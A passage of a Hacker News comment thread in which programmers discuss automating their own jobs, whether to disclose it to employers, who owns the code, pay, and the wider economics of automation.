without breaking existing flows, you need quite a few months of understanding
of the environment and the real needs of the process (business wise as well),
etc.
And that's why managers think it's a joke idea.
(And it also comes off as extremely arrogant, because it's essentially calling
your coworkers stupid by saying "I'll see something that you haven't noticed
in years!")
~~~
klibertp
> "I'll see something that you haven't noticed in years!"
There's this saying in my country, roughly translated to "Guest for a second,
sees a mile far" (sorry... it even rhymes and everything in Polish...)
Being immersed in something for a long time has a good chance of limiting your
perspective to that thing only. While it's true that perhaps 90% of newcomers
and their ideas simply miss the intricacies of the current process and would
be disastrous if implemented, the remaining 10% is a genuine innovation which
would never come from the inside.
~~~
soverance
I've always loved this idea, and have found it to be very true in all aspects
- always just known it as "tunnel vision".
------
wvenable
It should be noted that programmers are not automating themselves out of
_programming jobs_. They're automating themselves out of data entry, or
testing, or any number of other mindless tasks easily done by computers.
~~~
michaelbuckbee
Development jobs are shifting as more and more towards "plugging APIs
together" and much less end to end development.
Modern web dev is fantastically more productive and efficient than it was 10
or 15 years ago.
Most/many SAAS apps are substitutes for aspects of what previously would have
been part of a developers job to put into place.
~~~
tabtab
Re: _Modern web dev is fantastically more productive and efficient than it was
10 or 15 years ago._
I have to disagree. The esthetical expectations of the user/customer are
higher now. If it's not "in style" they think you are sticking them with old
tech. And you have the desktop/mobile split that frameworks only get half
right and require days of black-box fiddling to get working right on all
devices. And JavaScript gizmos often "break" as new browser versions or
related components come out. It's almost as bad as the "DLL hell" that desktop
applications used to face.
From a purely utility standpoint, I was much more productive back then because
I only had to make it work and be easy to use, not "pretty" and animated with
toys or the latest style fad.
~~~
buboard
> If it's not "in style" they think you are sticking them with old tech
Is that even true? Is there any survey showing that users consider those bad
or old tech? Because with things like the reddit, ebay, paypal, gmail
redesign, the common thing i ve noticed is that nobody asked for those.
~~~
tabtab
That's just my experience. If a customer _pays_ for a new gizmo, they want the
"latest and greatest". If it doesn't look latest and greatest to them, they
feel slighted. I'm not saying it's necessarily rational, only that it's the
way customers on average react. They don't always say it directly, but word
gets around. I've seen it many times. Humans judge books by covers.
As far as old-looking sites like Ebay, if an Ebay competitor appeared with
equivalent services and product choices, yet LOOKED fancier/stylish, Ebay
would start to lose customers. Lucky for Ebay, no such site exists. (If they
appeared, Ebay would probably spend on a visual revamp.)
~~~
buboard
Right, but it seems to me that an entire - and unbelievably rich - industry is
moving along with “just my experience“ when it comes to UIs.
------
nstart
This article really highlights how odd our methods of valuing output are.
Ultimately if someone is idling for 6 years because they've written a program
to do their job for them, who cares? They are delivering the same output which
hopefully the company deemed was valued at X amount BECAUSE it delivers Y
amount of profit/returns. This article is actually touching on a deeper level
of dysfunction in how we do things like calculating salaries for people.
Instead of making things about how much value is created, we tend to tie
things to "seniority" or "experience" in isolation. Just because the two are
sometimes correlated with value produced it does not justify making that the
measure on its own.
I remember going up to one of the senior management people in the company I
worked at a long time ago and pointing out how I'd saved the company from
having to spend salaries and other overheads on 12-20 more people by
automation. If the salary for each person was X, I asked for a salary bump of
3X. They gave me a bump of only 0.5X . I eventually pushed it to 1X but that
experience taught me that most of the time, extra value you deliver rarely
flows back to you in a reasonable way.
And from that point on, I stopped treating my job as an extension of my
identity or fulfillment of purpose. It became a place where I primarily had a
cold hard contract to deliver X value in exchange for Y returns. And if I was
ever to work again in a company with similar opaque practices on salaries, any
increase in Y returns would be best negotiated before showing my entire hand
on how much I could increase the delivery on value X.
~~~
someguydave
This is related to Taleb's observation that employment is a kind of "slavery".
What he means by this is that you effectively have sold your option to own
those to outsized returns in exchange for a regular paycheck.
~~~
hawkice
That's... not what slavery is. That analogy is extremely poor compared to
using securities derivatives, which is a field Taleb is familiar with.
Edit: also, is this feature of salaried employment so misunderstood as to
require an analogy? You get paid a fixed amount, or with specified bonus
structure. It's literally the number one fact people know about their
employment contracts.
~~~
someguydave
> also, is this feature of salaried employment so misunderstood as to require
> an analogy?
I would argue yes. Many professionals like engineers and programmers can point
to contributions they made to the corporation that have been sold for many
times their annual salary. How many of those professionals consider the fact
that they could have sold their design for themselves and pocketed the
revenue?
This is related to Coase's question: why have a firm in the first place? In
modern times it seems that ongoing disaggregation of businesses and reduced
transaction costs in software would cause more professionals to consider
working for themselves, rather than selling their (potential, uncertain,
unlimited) profits for a (certain, fixed) income.
------
vinceguidry
If you're coding for a non-technical business, i.e. one in which they're not
directly selling your productive output, then it's not hard at all to get to a
point where your daily tasks don't take more than a few minutes a day. After
all, it's other people that are actually driving the revenue. You can ask for
more duties, but their capacity to define tasks for you is never going to
outpace your ability to deliver.
My advice is to not fight this state of affairs. Figure out your own way to
stay productive. Divide up your spare time between coming up with ideas for
your employer and doing side projects. Take long lunches with your coworkers
and leave at 4.
You can find happy professional nirvana but you have to believe in it first.
~~~
3pt14159
The key for this type of setup is to make sure that they understand your job
is like that of a security guard. You're there for when all your carefully
coded alarms start going off. You're not there to help shovel the sidewalk
because then you might miss your alarms.
As long as that is properly understood you can get a contract that is
permissive enough to allow you to work on something else at work when nothing
is burning. Even if you have to offer a reduced salary, it's worth it.
Another option is to go the work on OSS route, especially on tools you use for
work. After a couple years of doing semi-fulltime OS work you'll be commanding
double the salary.
~~~
vinceguidry
The key to this, and I meant to edit this into my comment, is to be super-
responsive to any requests. Always be willing to drop whatever you're doing at
a second's notice and help whoever it is that thinks you might be able to help
them out. The word gets out and everyone in the company just loves you.
------
anonu
As a former trader/developer/quant I often felt that "automating myself out of
a job" was my goal. If we could build properly architected systems that were
self-healing when things went wrong, turned themselves on before the market
opened, traded all day, made money and shut down for the night... then
eventually my role would devolve into monitoring and ultimately into
nothing...
In practise, achieving some sort of "steady state" or status-quo doesn't work
for a few reasons:
1\. Inherent system complexity ensures something always breaks. Human
attention is always needed.
2\. Markets evolve rapidly due to technology changes, regulatory changes and
the very nature of markets: Strategies and ideas that worked in the past cease
to work in the future.
~~~
tynpeddler
A system that requires no outside intervention to perform its job optimally is
equivalent to a solved problem. So quants will be out of a job once we
understand how to perfectly trade on the stock market.
~~~
TheAlchemist
Which by definition is impossible...
Once two different traders discover how to 'perfectly' trade, the game changes
and as they say 'here we go again'
~~~
munk-a
I disagree, the solution to remove stock market traders is to figure out a way
to examine financial data and projections to such a fine degree that stock
trading is no longer a sensible thing. Imagine a currency trader focused on
USD & CAD, what would happen to their job if Canada decided to permanently pin
their currency on the USD with a guaranteed exchange of .5 USD for 1 CAD, the
markets surrounding arbitraging the currency would dissolve as .5 USD would
always be 1 CAD (now in the real world there might be stability speculators,
if Canada was viewed as politically unstable there might be a purpose to
purchase .4 USD for 1 CAD, but ignore that for the purpose of the scenario).
~~~
subroutine
To name just a tiny fraction of things that'd be required for a perfect
stalemate between automated stock trading platforms (due to them all being
able to predict the market with perfect accuracy):
* actions of any given platform doesn't meaningfully influence the market
* all have ability to forecast weather with 100% accuracy
* all have ability to perfectly predict human behavior
* all acquire the exact same news at the exact same rate
* all connect to the same exchanges with the same latency
* all have the same amount of capital to leverage trades
Simply put, there are incalculable ways for a trading platform to gain
advantage over another, so I don't think this will be an issue in many
lifetimes.
~~~
anonu
>> * actions of any given platform doesn't meaningfully influence the market
Yes - this... Buying or selling even 1 share in the markets adds information
to this giant calculating engine. Anything you do will alter the course of the
future.
I've never seen a backtested strategy that didn't look great on paper. The
moment you drop it into the market - you can take a steep discount to your
expectations.
------
cortesoft
> Wary self-automators, he speculates, “don’t trust our workplaces. The boss
> is going to say thank you, good work, now do it again.”
Well, no shit. That is what the job of a programmer is - to keep automating
things.
There are an INFINITE number of useful things we need to do as a society, so
we shouldn't be upset if we automate one of them away. Move on to the next.
Of course, programmers should make sure they negotiate strongly to get
compensated fairly for the work. I think it is a bit short sighted, however,
to worry that you will end up like the guy who automated his job and was then
fired and replaced by a lower skilled guy - who cares, you SHOULD move on at
that point if the company doesn't want you to automate something else. There
are plenty of companies that will hire you, and you can use the example of the
previous company to show you can do it. This time, negotiate better
compensation.
~~~
crispyambulance
> Well, no shit. That is what the job of a programmer is - to keep automating things.
I think that many of these scenarios are occurring when NON-programmers
realize that their jobs are automate-able and they set out to automate them.
It means picking up new skills, practicing them and putting them to use
without the consent nor permission of management.
It is not necessarily an easy path, it takes time, and there's going to be
trial and error involved and although the discussion is about automating 100%
of a job away, there's many other possible outcomes such as effort-
multiplication, getting rid of the grunt work and gaining more time to focus
on deeper problems.
This is effectively "out-of-band" work that is a great experience for the
individual but which _many_ organizations do not condone. A LOT of workplaces
don't tolerate workers doing stuff that they're not being "told" to do.
~~~
m000
What if you automated your job on your own free time?
~~~
bradknowles
Then they get to pay you less because you work fewer hours to do the same job.
Or they fire you because they don't need you anymore.
~~~
6nf
> Or they fire you because they don't need you anymore.
This is the kind of ridiculous thinking I'm talking about in my other comment.
You just made your job into a cheap, automated process. That's the most
valuable thing you could do in a company! If you did that in my company, you'd
get a promotion and you'd be put to work finding other things to automate.
You're the kind of person every company wants! Why would we fire you? If we're
dumb enough to fire someone like you, you're better off at another company
anyway.
~~~
bradknowles
If companies were run in a logical manner, then your thought process would be
reasonable.
Sadly, while there may be some logical people in a company, many companies
(most?) wind up not being run in a logical manner due to a wide variety of
internal politics and societal issues.
What you hope (and pray for) is that the logical people in a company are not
also sociopaths, in which case you are really well and truly screwed.
~~~
6nf
That's crazy, I don't understand how people are so negative about this.
Sociopaths will NOT fire that person, they'd put that person to work
automating other jobs. This is just how you run a business.
------
yhoiseth
This reminds me of Toyota, which (allegedly) never let anyone off after
process improvements, because that would undermine the trust which is
necessary for employees to feel safe when suggesting improvements.
These stories seem to me like management failures — leaders haven’t built the
necessary trust.
------
forinti
It's interesting how people expect workers to "earn" their salaries through
suffering. It's almost religious. At the same time, lots of businesses charge
their clients a percentage of their earnings and it's ok.
~~~
riazrizvi
David Graeber in Bullshit Jobs, says people have been conditioned to insist
that you can't be productive without suffering in the process, and he goes on
to makes a case for Universal Income (because modern society is productive
enough to feed and house everyone). I think it misses the point. People want a
job where they grow as human beings, and you can't grow without
suffering/trial. Pointless jobs are depressing. If you figure out how to get
paid without doing anymore work, that's cool, but then what are you going to
do? If you want to grow and make society a better place, it's better to find
something else to do, either with the same company or somewhere better that
isn't so dysfunctional.
~~~
lgessler
I think your observation can coexist with Graeber's take. If you implemented a
UBI, it seems reasonable to expect that most people would take the opportunity
to take on some kind of "work" or self-development that is not tied to how
they meet their basic needs.
------
darawk
The employer is paying you for the product, not the effort. I see no moral
quandary here, nor any compulsion to notify the employer. They're getting what
they want, that should be the end of it.
EDIT: And I would add, for anyone that has automated their job in this
way...what you should really be doing is scaling it up, and finding other
companies who are probably paying employees to do the same thing. Then start
your own company that does whatever this task is as a service.
~~~
pathseeker
>and finding other companies who are probably paying employees to do the same
thing. Then start your own company that does whatever this task is as a
service.
Careful, if it gets out that you wrote the code to automate your job as a
coder while actually at your job, your company most likely owns that IP.
~~~
arif_sohaib
I am still in academics so I have a question about this. If your company owns
this is, what shouldn't they be rewarding you generously for making it? They
are making money out of your extra effort/work. I get that employees who want
their own ip should have the right but if the company is paying you extra and
giving other rewards and removing the headache of managing your own company,
is that not good?
~~~
y4mi
They're entitled to the code without any extras though. That is what
employment is.
~~~
s73v3r_
Only if your employment agreement says so. Most people hired as programmers,
yes, that's true. People who are hired as other things, and end up automating
things, well, that's not so clear.
------
pbhjpbhj
I wonder if management would be happier if you said "I'm going to quit and be
a consultant, our company will do my current role for 80% of what you're
currently paying me."
?
Not only does that release you from the unnecessary expense of going to work,
it frees the company some space and employment expenses too. They save money
on getting the task completed, so that can be labelled as a management win "we
outsourced and saved with no drop in quality".
In addition you are free to do the same for other businesses. Or indeed to
sell extra seats of your solution and put your former colleagues out of work.
~~~
paulriddle
It is a smart decision, but still it's better to build something solid before
you start consulting: an online presence, a blog, a podcast, network of people
who know you, etc. So that your former employer is not your only source on
consulting gigs.
But even then, most companies would refuse, because it means they have to
contact their legal department to draft a contract, and change their workflow
to accomodate for you, an external entity. I've seen people transition from
employees to consultants for one company, it was very smooth though. It's just
that some companies would have a kneejerk reaction of "errr, dude, listen,
whatever, man, just if you're leaving, then you're leaving, if not, then not,
this consulting stuff, I don't think anybody would approve of, so no, either
you stay as you are, or leave, sorry." Because they don't think it's
important, they don't value you, and don't really care, so by becoming a
consultant you're presenting a problem and additional work for them, they
would rather avoid it, especially if avoiding it is the easiest thing to do -
nothing. HR will find somebody to replace you.
Or it may work out how you described, especially if you sell it to them with
charisma and good vibes.
------
Hysterisis
A few years ago I was working for a QA department and trying to apply my
programming skills wherever I could. There was a weekly report that someone in
upper management produced to send to their peers, which was basically two
filtered and cross referenced CSV dumps. I briefly took over that task while
the manager was away, and was able to automate it pretty easily. I even
produced a small GUI that made it easy for the manager to use later.
Ultimately the manager chose to keep doing it by hand for 40 hours per week. I
left that organisation a few months later.
------
Itaxpica
This can be good when companies and incentive structures are set up to reward
it. The entire concept at the core of SRE is "if you have skilled engineers do
your ops work, they'll automate as much as possible, freeing up their time to
work on bigger and more interesting problems". At Google, automating a huge
swath of your own job is one of the fastest ways for an SRE to get promoted.
------
jefe_
These days I'm much more inclined to automate my own job than someone else's.
It seems many of the times I've taken extra steps to more fully automate other
people's tasks, it's had the adverse effect of alerting them that even further
automation is possible and they inevitably ask, "why can't you just automate
the whole thing?" I then proceed to spend about 7 minutes frustrated and
determined to automate their entire job away before cooling down and simply
adding them to my list of "non-client people who think I should work hard so
they can be lazy."
------
orbitingpluto
This is a common situation that I've been in several times before, even up to
the point of automating the automating.
I had one particularly nasty supervisor who gave me a project, then asked me
how long it would take to program, then without fail tell me that was
unacceptably slow, then tell me that my predecessor could have done it in half
the time, and finally question my competence.
So one day he brings me a short programming project that previously took
anywhere from say 2-3 hours, asks me how long it will take to program, and I
respond with, "30 seconds". He then replies, "That's too long. So and so could
have done it in 15... wait, what did you say?"
I've mostly or completely automated several of my own jobs, and when done with
that, proceeded to reduce my co-workers' work load. Usually it does not end
well. Either someone higher up in the organization will perceive the
automation as wasting time (still can't wrap my head around that), think of
you as now redundant, or see little reason to offer additional compensation
while moving you into a new position that does nothing but automate. After
all, if you were willing to automate in the previous position at the previous
level of compensation, why should they have to pay you more now?
~~~
turtles
“30 seconds”. You should have told him 6 hours. If he needs it done quicker
hire someone else. Enjoy your day.
~~~
orbitingpluto
He wasn't able to successfully pull this stunt ever again. It actually
completely changed our work dynamic and almost completely eliminated job
stress. It was also the catalyst to deciding that I wanted to move on and I
gave a 4 month notice shortly thereafter. Ultimate jerk move, he actually hid
a bonus check intended for me in his desk for weeks because he didn't realize
I was being so nice with the amount of notice. He thought he could prevent me
from getting it entirely. That did not go over well with the president of the
company.
~~~
crankylinuxuser
So, theft and fraud eh? Sounds like a lot more than a "jerk".
Hopefully, the president canned him and referee his conduct to the police?
Seriously, the less poisonous people like that, the better.
------
eindiran
I've automated large chunks of my job away, but I've never felt that I ended
up not having things left to do as a result. There are always more tasks to
automate and more problems to solve.
I get the impression from these stories that the dishonest part of what the
self-automaters are doing is that they could do other tasks and use automation
to increase their productivity, but instead chose to keep their productivity
the same and relax with the extra downtime.
~~~
lrem
Come to SRE. We are seriously expected to fully automate our job away twice a
decade and still manage to just keep growing.
~~~
eindiran
How did you get into SRE? Did you start off as a software engineer and
transition over?
~~~
lrem
Straight out of PhD. The interviews went smoothly in part due to earlier
experience in an ISP, but these days Google takes in SREs with 4 x coding and
1 NALSD interview. It's the stuff talked about in
[https://www.oreilly.com/library/view/the-site-
reliability/97...](https://www.oreilly.com/library/view/the-site-
reliability/9781492029496/ch12.html) and there's quite a few Google-organized
workshops on this.
------
jmathai
I realized at my last job that I was working to essentially replace myself and
my co-workers. It was a pretty sobering thought.
We often joke about training our replacements but we're definitely in an age
where it's just as easy (if not easier) to build our replacements.
This doesn't have to come in the form of AI which can ingest requirements and
write code. It typically comes in the form of automating specific aspects of
our current job. Build systems, pipelines, workflows, etc.
It's nice to kid ourselves and think of it as work intended to improve
productivity but from a company's point of view the value is decreasing
overhead and cost which comes in the form needing 1 person to do the work
instead of 10.
Cross your fingers that you're the 1 and not one of the 9 :).
~~~
pathseeker
> I realized at my last job that I was working to essentially replace myself
> and my co-workers. It was a pretty sobering thought.
You've just described the purpose of the entire software industry. Did it
really not occur to you that writing systems to automate tasks would displace
anyone doing those tasks manually?
~~~
jmathai
It did occur to me....at my last job.
------
tialaramex
I've always seen this as the _point_ of what I do. The promise is there in
work by Church, Gödel and Turing, but Grace Hopper is the one who made it
tangible. She called the thing she's responsible for a "compiler" but today
we'd understand it as a linker.
Grace understood in engineering terms what Turing et al. grasped only as a
mathematical principle. We can get the machine itself to take the tedious
parts of programming the machine and automate them, so that we're left only
with some higher level task, and then, we can just automate that too, this
recursion continues forever.
~~~
ketzo
just came back from the Grace Hopper Celebration, I love this as a summary of
her work! really cool person who I hadn’t known much about before
------
bpchaps
One thought that keeps me awake at night is that my past automation work has
cost others their jobs. I understand that that's "how the world works", but it
still deeply affects me that people have lost their livelihoods because of my
actions.
~~~
munk-a
I understand this guilt but it doesn't belong to you. We're rapidly entering a
post-scarcity economy and most of the western world are employed in service
industries anyways. I think the lack of more societal guarantees to survival
is a critical issue especially in the US, it'd be nice to see UBI or
alternatives explored more and rolled out so that losing one of these tedium
jobs isn't devastating on the former employee.
~~~
bpchaps
Yeah, probably. My career started in a job that could have easily been
automated, but never was (intentionally). So in a lot of ways, I feel indebted
to it and the idea of entry level tech jobs, because it allowed me to build a
career without a degree. From that experience, it feels kind of sad that
_certain_ automation can displace potential careers.
------
dbg31415
Back in the 90s I had a high school summer job where I had to run some scripts
against a production database. I was told, "You have to watch it in case there
are errors." Boring work. Essentially, I sat for 2-3 hours a day watching a
status bar move.
I would run a backup script on a production database, then copy the backup
over to a local storage drive, then run a sanitation script to clean up
customer data, then copy the database again to a public folder where the devs
could access it.
I would use the time to try and dissect the script and read up on SQL. A few
months in, I added a few lines to the script that emailed me if there were
errors (and of course this list of errors evolved over time...), and set it to
automatically do the download and sanitation work.
Then I corrected a few parts of the sanitation script to block out a few more
bits of customer data that whomever wrote the original script had missed, and
then set it up on a schedule to pull a copy every hour... the devs loved that
the data was coming down more frequently.
I was so proud of my little automation project, and I showed my boss. I was a
little worried he'd be upset that I was running this script on production. He
wasn't. He loved it. Then he told me to delete it.
"You cost me $8 / hour, but when you go back to school I'd have to hire
someone who costs a lot more to maintain this. The budget is already approved
for the year, I can't change it. This is great... and I know what I'm asking
you to do is stupid... glad you're learning here... but really I just want you
to sit and watch the status bar move."
------
buboard
This is a non-issue. They should be talking instead about what an antiquated
concept the 8 hour office work day is, especially for knowledge workers.
------
jt2190
We need a HOWTO for Job Automators that addresses things like:
* when to automate versus when to quit and
start a company
* who owns the code, and how to find out
* when/if/how to reveal the automation
to your employer
* etc.
(edit: Mentioned in the article was this book: Automate the Boring Stuff with
Python, by Al Sweigart:
[https://nostarch.com/automatestuff#content](https://nostarch.com/automatestuff#content))
------
pgreenwood
>The gains from automation have generally been enjoyed not by those who
operate the machines, but those who own them. According to the Organisation
for Economic Cooperation and Development, the share of income going to wages
in OECD nations has been decreasing since the 1970s, while the share being
funneled into capital—into things like cash reserves and machinery—has been
increasing.
In Australia these benefits have largely gone to land owners, as opposed to
capital. See this chart:
[http://www.prosper.org.au/wp-
content/uploads/2009/01/unearne...](http://www.prosper.org.au/wp-
content/uploads/2009/01/unearned.jpg)
Even a scheme such as universal basic income would not help much as the
benefits would end up being captured by land owners, via inflation of rents
and land prices; unless this was addressed another way, for example with a
land value tax.
------
iamleppert
And what happens when this job eventually ends (as they all do) and the only
thing you've had to show for your time spent in industry is your league of
legends score? Meanwhile your peers would have likely moved on, gained skills
and progressed in their careers in someway. Sounds like a sure-fire way to
deadend your career and limit your future prospects.
~~~
peteforde
One thing that I find maddening about this topic is the assumption that people
who automate their jobs won't take the new time they get back and put it to
better use. For some, that could be learning skills or working on a startup,
and others might just want to spend time with their kids.
That said, it seems incredibly wrong to judge someone for being clever enough
to relax and get paid for it. And if someone enjoys relaxing as much as I
enjoy coding, who am I to say that I'm righteous and they are a loser?
~~~
iamleppert
I was addressing the exact situation in the article where the guy used the
time to play league of legends. But you’re right it’s not for me to judge how
others spend their time.
------
Iv
I'll weight in from a slightly different angle: I consider my job as a coder
to be 90% bullshit. I call it plumbing. Inject that data stream into these
input, buffer this, convert that, cache that shit. Launch a thread to do that
in parallel, manage a thread pool, poll that stuff, convert that data format
into that other, I could go on for pages.
My real job is in the 10% remaining: understanding the problem, producing an
algorithm or an architecture, optimizing things in a way that require a deep
understanding of the data, designing the UI the users really need.
I'd gladly automate the plumbing in order to do 80% of interesting stuff
instead of 20%.
------
JoblessWonder
One of the only discussions I've "Favorited" on Hacker News was related to
this: "Is it unethical for me to not tell my employer I've automated my job? "
[https://news.ycombinator.com/item?id=14656945](https://news.ycombinator.com/item?id=14656945)
------
logfromblammo
I don't believe that a salaried employee is duty-bound to work any more hours
in a week than is required to accomplish their given assignments. Nor do I
believe that the tools they create themselves to do that job more effectively
should automatically become the property of the employer.
The reason people do not disclose the automation of their own jobs is because
they do not believe they can monetize their cleverness more effectively than
by keeping secret their shortcuts. They sincerely believe the company will
fire them and pay nothing for their automation tools.
It is ultimately a "truth to power" phenomenon. If you have the power to
plunge me into a lifestyle of deprivation and poverty, I will avoid giving you
any reason for doing so. If you have the power to take some of my profits for
yourself, I will seek to avoid informing you that is possible.
The philosophy of "Office Space" applies. It's a question of motivation. If I
bust my ass so the boss makes more money, I don't see another dime, so I just
do the minimum amount to not get fired. And we also have to know that the
minimum amount of flair is not the actual minimum amount we can wear.
I'm sure many of us have seen extra effort go completely unrewarded, or even
get punished. That experience takes a toll. Not one of us can trust our
employer to do the right thing all the time--even for those of us that are
founders! So we preemptively choose for them, and sometimes do the thing that
is right only for us. If more companies were capable of more accurately
assessing the value of software automation, we wouldn't have to think twice--
we'd take the bonus equivalent to several years salary, and start automating
something else.
------
projectileboy
One thing I find fascinating about our culture is how much we elevate
corporations above people. If a corporation found a way to automate production
in such a way as to keep their product prices flat but increase their profit
margin, most everyone would applaud. This is _the exact same thing_ , but a
decent portion of society finds it to be unacceptable behavior.
~~~
mrcogmor
They wouldn't applaud unless the reduced cost for the business lead to a
reduction in the purchase price for consumers.
~~~
projectileboy
At a minimum, investors would.
------
m00n
A question for the people that have a positive attitude towards keeping time
savings for yourself instead of passing them on to your employer.
Would you be also okay with the following situation: You have someone remodell
your garden. He comes up with an estimate of 1 week worth of full-time work
for two people. Based on your experience this seems reasonable and you agree
on a fixed price of 10000$.
Two scenarios of what happens next: 1) He shows up the next day with a
gardening robot you never knew existed and he never told you he would use. The
work is done in 30 minutes. He goes home to spend time with his kids. (Or
maybe contract more "2 week projects"?)
2) Two gardening people show up every morning to greet you when you drive to
work. They leave when you come back and make steady progress every day. On the
last day you come home early and witness that actually the daily work is done
by a gardening robot in 5 minutes and the two people actually drive home
during the day to spend time with their kids.
Would you contract this guy again?
~~~
iaml
One important distinction that you omit is the robot gardener costs exactly
the same as other people doing the work manually. If I had to choose between
two options that cost the same, but one is ultra fast and has consistently
high quality, it's a no-brainer for me.
~~~
m00n
Why would the robot cost the same? If it costs the same, then there is no
incentive to introduce robots in the first place. I think the wide-spread
automation is a testament to the much lower price of robots compared to human
labour, no?
~~~
iaml
I mean the guy using robot gardener takes the same pay for the services, not
the robot, sorry for confusion.
------
dredmorbius
_In the first fire-engines[1], a boy was constantly employed to open and shut
alternately the communication between the boiler and the cylinder, according
as the piston either ascended or descended. One of those boys, who loved to
play with his companions, observed that, by tying a string from the handle of
the valve which opened this communication to another part of the machine, the
valve would open and shut without his assistance, and leave him at liberty to
divert himself with his playfellows. One of the greatest improvements that has
been made upon this machine, since it was first invented, was in this manner
the discovery of a boy who wanted to save his own labour._
\-- Adam Smith, _Wealth of Nations_
[https://en.wikisource.org/wiki/The_Wealth_of_Nations/Book_I/...](https://en.wikisource.org/wiki/The_Wealth_of_Nations/Book_I/Chapter_1)
1\. The modern term for these devices is the perhaps more familiar "steam
engine'.
------
meritt
I look forward to the blog post in a few years with someone detailing how
they're earning $1M/yr because they have 20 data-entry jobs they've fully
automated.
------
gaahrdner
Better to be a warrior in a garden than a gardener in a war.
------
matiu
It depends if your employer is nice or not. In one job the boss was thankful
and made my job more enjoyable (no extra money though). In another I saved the
company a million and got demoted (due to politics). It doesn't give any
incentive to share next time.
------
coj337
I used to intern for a large Australian bank and we had a fairly complex
access management workflow.
A month into the job after I'd figured out how it all works, I spent a week
automating it and was promptly told I was allowed to run my scripts do it if
it was kept secret from the higher-ups (to avoid the red tape and the intern
they don't trust much).
This automated a backlog of work that had a team of 5-10 people scheduled on
for a good year along with any future requests, a month or two after my
internship I bumped into my boss again they told me they had gone back to
doing it the slow way because the bosses wouldn't approve it, despite showing
a 0 failure rate compared to a pretty big one from the bored employees.
~~~
gaius
_the bosses wouldn 't approve it, despite showing a 0 failure rate compared to
a pretty big one from the bored employees._
A boss’s prestige is in how many people they manage, not how many scripts they
run. That’s the key to understanding these kinds of decisions.
------
User23
This is why equity is the best compensation and it’s going to be even more
important to negotiate for it as our profession evolves. You can never be
automated out of your equity.
If you create something that generates continuous value for your employer, you
should share in that.
------
stuntkite
"There’s little evidence of any interest in doing so, but theoretically, self-
automators could organize, and distribute automation techniques among middle-
and working-class coders, giving rising to an industry that could actually
enjoy that 15-hour workweek. It seems a rare opportunity—perhaps, with the
advance of AI, one of the last—to try to set the terms for a mode of
automation that puts people first."
This was a pretty good article until the conclusion. It's like he's totally
unaware that all the information is already shared. I guess it could be a
weird plea for some sort of blockchain union or something. Homie should just
google "task automation github".
------
vmarshall23
Isn't that _precisely_ the job?
I had to automate my job when working full time in grad school, otherwise I
never would have passed a class.
Since I entered the work force, most jobs have been some version of "automate
some task for other people (customers) to exchange for pieces of paper
representing effort($)" or "automate some internal task so company spends less
$ paying meatware to do _things_ saving effort($)". Rinse, and repeat until
either:
a) company makes $$$$! b) company runs out of $
If you manage to automate all-the-things and haven't hit state a) or b) then
you start flame wars on internal mailing lists about how the free company
snacks suck or whatever. :-)
------
imh
If you wanted to only work 2 hours per week, do you think there's a place in
the industry for you? Maybe for a freelancer or consultant or anything else
where you are outside the company, but there's no place for this internally
anywhere, no matter how efficient you are with those two hours. As long as
that's the case, people will be incentivized to hide how efficient they can
be.
The article suggests at the end that these people have a strong position to
negotiate, and I wish it were true, but I just don't see it ever happening :(
------
flukus
I think a lot more would be automated by now had the right incentive
structures been in place, there are still tonnes of low hanging fruit in areas
that are to small or too diverse to productize.
One example I remember is a company I worked for that had a lot of people
doing data entry, basically reading faxes from a variety of sources that could
have been 90% automated by OCR and some trivial AI. It was too specialized for
any off the shelf system but too expensive for the company to invest in
automating. I probably could have built an automated system but it would take
a huge time investment to get to a point where they'd be willing to buy it and
they would likely not pay enough to support me full time.
Now imagine if I could retain some rights to my automation to my automation
efforts? I could take one of these data entry positions and with a bit of my
own time invested I could probably automate 20% of the work fairly quickly,
freeing up enough time to further automate things without sacrificing my own
time. Sooner or later enough would be automated that I could start doing
multiple jobs if the company were willing to license it. Eventually I could
take on another entry level role and start the process over.
I would come out in front, the company would come out in front and the world
would be more efficient, but the incentives just aren't there.
------
peterwwillis
The article is a red herring. They're asking the question "Is it immoral to
fire someone for automating their job?", when the question should be "Why
aren't more companies encouraging their employees to automate their job?"
Yes, a person can automate their job until they're not doing anything, and
yes, a company can punish an employee for sitting idle. But the latter is
inherently stupid. Automation both achieves the goals originally set out for
an employee, and frees them up to do more work, without any additional cost.
The business's goals should include adding value and productivity and reducing
cost. If an employee automates their job, they've improved on their job
productivity, which adds value to the company at no extra cost. In the
article, the company has a choice:
A) fire the employee and hire a new one to keep doing the job manually.
B) fire the employee and keep the automation.
C) keep the automation, keep the employee, train the employee for a new manual
job.
D) keep the automation, keep the employee, train them for a new manual job,
and have them automate that.
If the company chooses A), they're just stupid. If they choose B), they're at
least eliminating an unnecessary position. If they choose C), they do the same
as B), except they _also_ retain a person that is already trained and
accustomed to the company, which saves time and money. If they choose D), it's
the same as C), plus they can continue to lower costs and add value.
~~~
gehwartzen
Now look at it from the employees perspective; None of these cases result in
the person who did the automation from gaining additional compensation and
half of them result in them loosing their job.
~~~
crankylinuxuser
Incorrect.
The first 2, they lose the job.
The last 2, they lose the time-freedom.
In all instances, is there no good reason to tell of automation.
------
carapace
I once landed a job by telling the CEO something like, "If you're doing it
right, programming is _all about_ replacing yourself with automation."
In Cybernetics there is a formal measure called _Variety_ which is something
like a limit or measure of complexity of a system. Programming can be
considered the art of extracting the low-variety parts of a process into
automation, leaving the high-variety parts to the (high-variety) humans. _This
process itself is low-variety._ Therefore, from first principles, programming
is automatable. Our programming environments will eventually look like
automatic systems that we instruct with our intentions, and then they consult
us as _oracles_ to determine the high-variety parts of the necessary process,
having automatically computed the low-variety parts.
In fact, this is already happening _as fast as people can accept it_. The
limiting factor is not in the machines (they are already superbly fast) but in
the psychology of the people involved. Most of the research and much of the
technology already exists and is in many cases decades old. (Cf. "The Mother
of All Demos" and Prolog.)
As time goes on, given the exponential nature of the meta-process, it will
feel like a step function for many of us: one day relevant and employable,
then the next day replaced by a machine and unemployable, and unable to learn
the next thing fast enough to beat the masses of your peers competing against
you in the same boat.
I realized all this years ago, and have been asking peers and coworkers, "If
you could write a program that could replace yourself, would you?" However, to
date, no one has taken the question seriously.
I find this article, appearing in a non-geek publication, to very heart-
warming. Maybe people are finally catching on?
Anyhow, this is why e.g. Universal Basic Income is important: _You 're going
to need it sooner rather than later._
Unless there is some essential economic activity that humans can perform that
machines can't we are all on the "discard pile" of history.
I actually think we'll just mellow out and enter a Golden Age, but again,
_only as fast as we can accept it._ Certainly the Universe is willing for us
to live in peace and harmony, it's up to us to choose to, or not.
~~~
Kim_Bruning
> "If you could write a program that could replace yourself, would you?"
I've done it a bunch of times, sometimes by accident.
